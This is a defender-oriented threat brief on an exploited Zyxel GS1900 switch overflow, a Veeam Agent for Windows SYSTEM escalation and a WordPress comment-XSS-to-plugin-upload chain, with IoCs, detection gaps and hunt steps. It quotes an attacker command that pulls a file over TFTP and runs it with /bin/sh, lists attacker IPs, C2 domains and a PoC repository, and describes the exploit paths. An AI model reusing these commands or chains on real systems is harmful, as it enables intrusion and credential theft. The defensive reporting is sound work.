Cyber Threat Brief — September 22 2026
1. Zyxel GS1900 CGI Stack Overflow — CVE-2026-7273 (CISA KEV)
TL;DR: CISA (2026-09-21) added CVE-2026-7273 to KEV (federal due 2026-09-24, forensic triage Yes). GreyNoise (2026-09-21): suspected Chinese-speaking MCA exploited LAN-unauth CGI stack overflow on Zyxel GS1900 since ~2026-08-17, stealing configs + hashed root from 996 switches in 48 countries via PyArmor’d Python → TFTP collector. Patch each model to 2.90(*.2)C0. Overlaps Acronis Red Heron / Gitea CVE-2026-60004 cluster.
What’s New:
- First public ITW + KEV for CVE-2026-7273 this window (CISA + GreyNoise + THN/BC)
- Exploit targets GS1900-24 fw 2.10–2.90 with GOT/stack modes; CLI overrides for other in-scope models
- Post-exploit:
tftp -gr c -l /1 … 6969;/bin/sh /1→ stage/home/web/tmp/info.txt; 564/996 still factory-default creds
Actionable Intel
| Artifact | Type | ATT&CK | Log Source | Action |
|---|---|---|---|---|
| CVE-2026-7273 on Zyxel GS1900-8 / 8HP / 10HP / 16 / 24 / 24E / 24EP / 24HPv2 / 48 / 48HPv2 firmware ≤2.90(*.1)C0 | Vulnerable switch / KEV | T1190 / T1068 | Asset inventory / NAC / vuln scanner | Upgrade each model to 2.90(*.2)C0 (e.g. GS1900-24 → 2.90(AAHL.2)C0); isolate mgmt VLAN; finish forensic triage before KEV due 2026-09-24 |
| Unauth HTTP to GS1900 CGI from LAN (pre-auth stack overflow) | Exploit traffic | T1190 | Switch HTTP access log / SPAN / Zeek http | Alert oversized/anomalous CGI requests from non-admin hosts; capture PCAP on hit |
Post-exploit tftp -gr c -l /1 then /bin/sh /1; stage /home/web/tmp/info.txt / /tmp/info | Config/credential theft | T1041 / T1105 / T1005 | Netflow UDP/69 / switch shell history / file integrity | Hunt TFTP pull then shell on GS1900; pull configs; assume root hash + topology stolen; rotate secrets |
Kapibala MCA IoCs (GreyNoise campaign table; may span UniFi/WP/Gitea too): 172.245.247.21 (exploit), 74.48.66.73 (staging), C2 104.225.153.141 / *.981666.xyz; accounts kapibala / kapibala2 | MCA infra | T1071 / T1136 | Firewall / DNS / proxy / IdP | Block+hunt across estate; review GS1900 for those accounts; rotate any reused creds |
| Factory-default root on exposed GS1900 | Weak auth | T1078 | Config audit | Enforce unique root passwords; disable WAN/management exposure |
Detection
| Source | Rule | Gap |
|---|---|---|
| Splunk ESCU | None — verified search for CVE-2026-7273 / GS1900 CGI. Rejected Cisco TFTP Server Configuration for Data Exfiltration — Cisco IOS tftp-server cfg only; misses Zyxel busybox tftp client exfil | No Zyxel GS1900 analytic |
| Elastic | None — verified search | No GS1900 / CVE-2026-7273 rule |
| Sigma | None — verified search | No emerging-threat rule for this CVE |
Hunt hint: (1) Inventory all GS1900 → confirm 2.90(*.2)C0. (2) Mgmt-plane: unauth CGI anomalies from non-jump hosts. (3) Netflow: GS1900 → UDP/69 then odd egress. (4) Block IoCs above; rotate any hash that left the box. (5) Forensic triage Yes per KEV — do not “patch and forget.”
Sources: CISA KEV alert 2026-09-21, GreyNoise Kapibala, Zyxel advisory, The Hacker News, BleepingComputer
2. Veeam Agent for Windows SYSTEM LPE — CVE-2026-32996
TL;DR: Arctic Wolf (2026-09-16 update) + THN (2026-09-22): CVE-2026-32996 (CVSS 7.3) in Veeam Agent for Microsoft Windows ≤13.0.1.2067 (all earlier v13) is under active exploitation after public PoC (2026-09-14, suce0155/CVE-2026-32996). Low-priv local user reads elevated session UID from world-readable C:\ProgramData\Veeam\Endpoint\Svc.VeeamEndpointBackup.log, then abuses gRPC named pipe \\.\pipe\Veeam\VAW\ServiceConnectionPipe to run as NT AUTHORITY\SYSTEM. Fix: Veeam B&R ≥13.0.2.29 (ships Agent 13.0.3.1220).
What’s New:
- Arctic Wolf confirms ITW after PoC drop; THN amplify same window as Zyxel KEV
- Root cause: elevated principal cached against client-controlled session UID not bound to caller; UID leaked in log (CWE-532)
- Highest risk: shared / multi-user endpoints with Agent installed
Actionable Intel
| Artifact | Type | ATT&CK | Log Source | Action |
|---|---|---|---|---|
| Veeam Agent for Windows ≤13.0.1.2067 (all earlier v13 builds) | Vulnerable agent | T1068 | Intune/MECM / ARP / Veeam console | Upgrade B&R to ≥13.0.2.29 so Agent reaches 13.0.3.1220; prioritize multi-user & admin workstations |
Named pipe \\.\pipe\Veeam\VAW\ServiceConnectionPipe + non-admin read of C:\ProgramData\Veeam\Endpoint\Svc.VeeamEndpointBackup.log | LPE primitive | T1068 / T1552.001 | Sysmon 17/18 / EDR / file-access audit | Alert low-priv process opening that log then connecting to that pipe; isolate host |
PoC / exploit spawning whoami / cmd as SYSTEM after Agent pipe abuse | Post-LPE execution | T1059 / T1548 | Sysmon 1 / EDR | Hunt non-Veeam parents → SYSTEM children shortly after Agent pipe activity; treat as compromise |
Public PoC github.com/suce0155/CVE-2026-32996 | Exploit availability | T1588.005 | Proxy / DNS / EDR | Block unauthorized clone/run of that repo on builder/dev hosts |
Detection
| Source | Rule | Gap |
|---|---|---|
| Splunk ESCU | None — verified search for CVE-2026-32996 / ServiceConnectionPipe / Svc.VeeamEndpointBackup.log. Windows Suspicious Named Pipe is a known-malicious pipe-name lookup — legitimate Veeam pipe abuse will not match | No Veeam Agent UID-leak LPE analytic |
| Elastic | None for this CVE. Rejected Privilege Escalation via Named Pipe Impersonation (cmd/powershell echo > \\.\pipe\*) — GetSystem-style, not gRPC UID reuse. Rejected Privilege Escalation via Rogue Named Pipe Impersonation (Sysmon 17 nested \\*\\Pipe\\*) — PrintSpoofer/EfsPotato shape, not Veeam log UID | Misses log-read → ServiceConnectionPipe chain |
| Sigma | None — verified search | Same GetSystem pipe-echo rule only; no Veeam Agent rule |
Hunt hint: (1) Inventory Agent build — anything ≤13.0.1.2067 is vulnerable. (2) Sysmon/EDR: non-SYSTEM read of Svc.VeeamEndpointBackup.log then connect to \\.\pipe\Veeam\VAW\ServiceConnectionPipe. (3) Process: unexpected SYSTEM shell/whoami with Agent as prior IPC peer. (4) Patch to Agent 13.0.3.1220 via B&R 13.0.2.29+. (5) Restrict interactive local logons on backup endpoints.
Sources: Arctic Wolf, Veeam KB4852, The Hacker News, PoC suce0155/CVE-2026-32996
3. WordPress Comment2Shell — CVE-2026-93485 (XSS → Admin Plugin RCE)
TL;DR: Patchstack / IDNSEC (Rafie Muhammad, 2026-09-21) + THN (2026-09-22): CVE-2026-93485 (“Comment2Shell”) — unauth stored XSS via comment blockquote cite newline → wpautop()/wptexturize() breakout. When an administrator views the post (block themes / some classic), JS can upload a plugin webshell (zero extra click with onfocus+autofocus). Fixed in WordPress 7.1.1 (backports through 4.7.36). No public ITW yet; not on KEV. Same 7.1.1 train also fixed adjacent Click2Shell (admin-click theme install).
What’s New:
- Full chain published: KSES-allowlisted comment → display-filter XSS → admin
plugin-install.phpupload - Comment moderation is not a control — returning commenter / auto-approve / unapproved-cookie paths bypass hold
- Only unauth issue among 11 fixes in 7.1.1
Actionable Intel
| Artifact | Type | ATT&CK | Log Source | Action |
|---|---|---|---|---|
| WordPress Core ≤7.1 (unpatched branches 4.7–7.1) | Vulnerable CMS | T1190 / T1059.007 | WP version / host inventory / WP-CLI core version | Upgrade to 7.1.1 or patched branch release (back to 4.7.36); enable auto-updates |
Anon POST /wp-comments-post.php with blockquote + cite newline / event-handler payloads | Exploit delivery | T1189 / T1059.007 | WAF / web access log | Alert/block comments with blockquote+cite+newline/onfocus/autofocus; quarantine pending comments |
Admin session → /wp-admin/plugin-install.php?tab=upload + /wp-admin/update.php?action=upload-plugin shortly after viewing a post with a new comment | XSS→RCE | T1505.003 | Web/admin audit / WAF | Alert admin plugin zip upload correlated to recent comment view; force logout + password reset |
New PHP under wp-content/plugins/ not from a known package | Persistence | T1505.003 | FIM / EDR / Elastic plugin-dir rule | Quarantine unknown plugin PHP; hash-compare to wordpress.org; restore from clean backup |
Temporary: DISALLOW_FILE_MODS true / disable comments | Compensating control | N/A | wp-config.php / Settings→Discussion | If patch delayed: set DISALLOW_FILE_MODS; close comments; still patch ASAP |
Detection
| Source | Rule | Gap |
|---|---|---|
| Splunk ESCU | None — verified search for Comment2Shell / CVE-2026-93485. WordPress Bricks Builder Plugin RCE is an unrelated plugin CVE | No core comment→plugin-upload analytic |
| Elastic | Partial — PHP File Creation in WordPress Plugin Directory (web/PHP/shell writes under wp-content/plugins) — catches post-exploit plugin drop only | Does not detect comment XSS or admin upload HTTP stage |
| Sigma | Partial — CVE-2026-63030 wp2shell rules (/wp-content/plugins/wp2shell_*) — different July pre-auth chain; miss Comment2Shell generic plugin names | No Comment2Shell / CVE-2026-93485 emerging-threat rule |
Hunt hint: (1) wp core version / readme.html — must be ≥7.1.1 or branch patch. (2) Access logs: suspicious wp-comments-post.php then admin plugin-install/upload-plugin. (3) FIM: new PHP in wp-content/plugins/ since 2026-09-17. (4) Review moderated comments for blockquote cite oddities. (5) Patch does not remove planted plugins — hunt persistence after upgrade.
Sources: IDNSEC Comment2Shell, Patchstack WP 7.1.1, The Hacker News, BleepingComputer Click2Shell
Status Updates
- Windows CVE-2026-81963 + CVE-2026-85880: KEV due was TODAY 2026-09-22 — confirm Sep 2026 LCU covering both; keep AppContainer/
chrome.exe→SYSTEM (ALPC) and Update Stack (wuauclt.exe/MoUsoCoreWorker.exe) reparse hunts until fleet green. Original brief - Chrome CVE-2026-87491: KEV due 2026-09-23 — Chromium ≥153.0.8010.36 class. Sep 10
- CVE-2026-42016/CVE-2026-42018 (JFrog): KEV due 2026-09-25 — continue
POST /access/api/v1/aws/token/+token:anonymoushunts. Sep 12 - Linux KEV CVE-2025-39682 / CVE-2026-53266 / CVE-2025-39964: Due was 2026-09-21 (forensic triage Yes) — confirm kernel trains + triage closed. Sep 19
- ChainScript / Jade Sleet FLATROOF+ROOFDECK / npm indexed-btree: No material change — keep prior hunts. Sep 21
- WaterPlum / Contagious Interview / Discourse CVE-2026-32882: No material change — keep prior hunts. Sep 20
- CVE-2026-76460 (Cisco ISE) / CVE-2026-87886 (Acronis) / CVE-2026-58704 (Pixel): KEV due was 2026-09-19 — confirm patches + forensic triage closed. Sep 17 · Sep 16
- CVE-2026-58138 (Orkes) / CVE-2026-28326 (SolarWinds ARM): No material change — keep ≥3.30.2 + ARM 2026.2.1. Sep 19
- Brevo ClickFix / Check Point SMS CVE-2026-91843 / Unbound CVE-2026-81642 / WWLC / ParaShells / Marimo / GRAYRABBIT / Passkey / SGLang / Check Point VPN 85102/85103: No material change — keep prior hunts. Sep 18 · Sep 16 · Sep 14 · Sep 13 · Sep 11